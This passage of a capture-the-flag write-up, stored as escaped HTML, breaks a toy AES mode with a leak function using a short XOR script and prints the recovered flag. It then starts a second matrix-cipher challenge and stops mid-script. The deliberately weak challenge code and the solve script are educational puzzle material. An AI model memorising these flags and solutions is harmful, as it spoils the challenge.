&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ct&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">plaintext&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">encrypted_block&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">block&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ct&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">encrypted_block&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">plaintext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">encrypted_block&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">ciphertext&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">leak&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">blocks&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">random&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">leak&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">blocks&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">])&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">r&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">leak&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">aes&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">CAES&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">aes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext_blocks&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">aes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">leak&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">aes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">leak&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ciphertext_blocks&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;output.txt&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;w&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;ct = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">r = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">phrases = &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">leak&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We also have an output file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">ct&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">phrases&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;8b6973611d8b62941043f85cd1483244&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;cf8f71416111f1e8cdee791151c222ad&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement-1">Problem Statement&lt;/h3>
&lt;p>This code defines a class called &lt;code>CAES&lt;/code> that implements the AES encryption algorithm in ECB mode. The &lt;code>CAES&lt;/code> class has methods to &lt;code>blockify&lt;/code> a message into 16-byte blocks, &lt;code>xor&lt;/code> two byte arrays, and &lt;code>encrypt&lt;/code> a message using AES in ECB mode. Additionally, it has a method called &lt;code>leak&lt;/code> that generates a random integer &lt;code>r&lt;/code> and returns the encryption of two randomly chosen adjacent 16-byte blocks. The &lt;code>main&lt;/code> function of this code creates an instance of the CAES class, generates a message by padded &lt;code>FLAG*4&lt;/code>, encrypts the message, and generates a leak using the &lt;code>leak&lt;/code> method of the &lt;code>CAES&lt;/code> class. Finally, the main function writes the &lt;code>ciphertext&lt;/code>, the randomly chosen integer &lt;code>r&lt;/code>, and the &lt;code>leak&lt;/code> to a file called &lt;code>output.txt&lt;/code>.&lt;/p>
&lt;h3 id="initial-analysis-1">Initial Analysis&lt;/h3>
&lt;h4 id="the-encryption-method">The encryption method&lt;/h4>
&lt;p>The &lt;code>encrypt()&lt;/code> method is not in ECB mode, it&amp;rsquo;s similar to CBC, which can be visualized by this graph:&lt;/p>
&lt;img src='encryption.png' alt="Encryption" width="1000"/>
&lt;h4 id="the-leaked-data">The Leaked Data&lt;/h4>
&lt;p>The &lt;code>leak&lt;/code> method extracts 2 consecutives blocks of &lt;code>ciphertext&lt;/code> and encrypted them using ECB mode. Our leaked data is of ciphertext block 3th and 4th. By using the graph above, we can easily see where the leak data comes from and how to use it to break the system, here is the new graph:&lt;/p>
&lt;img src='leak.png' alt="Leak" width="1000"/>
&lt;h3 id="solution-method-1">Solution Method&lt;/h3>
&lt;p>The work is simple, just to &lt;code>xor&lt;/code> the &lt;code>c[4]&lt;/code> with &lt;code>Leak[0]&lt;/code> and xor &lt;code>c[5]&lt;/code> with &lt;code>Leak[1]&lt;/code>, then we can recover the plaintext &lt;code>m[4]&lt;/code> and &lt;code>m[5]&lt;/code>, respectively. They must be parts of, or entire flag (in any order).&lt;/p>
&lt;p>Here is the script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">_a&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="n">_b&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">_a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_b&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">zip&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>&lt;span class="p">)])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">)]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ct&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;bc9bc77a809b7f618522d36ef7765e1cad359eef39f0eaa5dc5d85f3ab249e788c9bc36e11d72eee281d1a645027bd96a363c0e24efc6b5caa552b2df4979a5ad41e405576d415a5272ba730e27c593eb2c725031a52b7aa92df4c4e26f116c631630b5d23f11775804a688e5e4d5624&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Leak&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;8b6973611d8b62941043f85cd1483244&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;cf8f71416111f1e8cdee791151c222ad&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Leak&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">Leak&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">blockify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ct&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">Leak&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">xor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">Leak&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="results-1">Results&lt;/h3>
&lt;p>Here is the result: &lt;code>b'_w34k_w17h_l34kz}HTB{CFB_15_w34k'&lt;/code>&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{CFB_15_w34k_w34k_w17h_l34kz}&lt;/strong>&lt;/p>
&lt;h2 id="inside-the-matrix">Inside the Matrix&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1w3gAAQ9VKg6HucPePcDwvUqzlKTWaRbk/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you deciphered the Matrix, you discovered that the astronomy scientist had observed that certain stars were not real. He had created two 5x5 matrices with values based on the time the stars were bright, but after some time, the stars stopped emitting light. Nonetheless, he had managed to capture every matrix until then and created an algorithm that simulated their generation. However, he could not understand what was hidden behind them as he was missing something. He believed that if he could understand the stars, he would be able to locate the secret tombs where the relic was hidden.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The server script is shown below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sage.all_cmdline&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># from utils import ascii_print&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;HTB{????????????????????}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">assert&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">25&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Book&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">size&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prime&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">parse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pt&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">b&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">pt&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">matrix&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prime&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">size&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">size&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pt&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">generate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">size&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">rotate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">prime&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">random_prime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kc">False&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rotate&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">generate&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">message&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">message&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">message&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">key&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Options:&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;[L]ook at page&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;[T]urn page&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;[C]heat&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">option&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">book&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Book&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">book&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">page_number&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
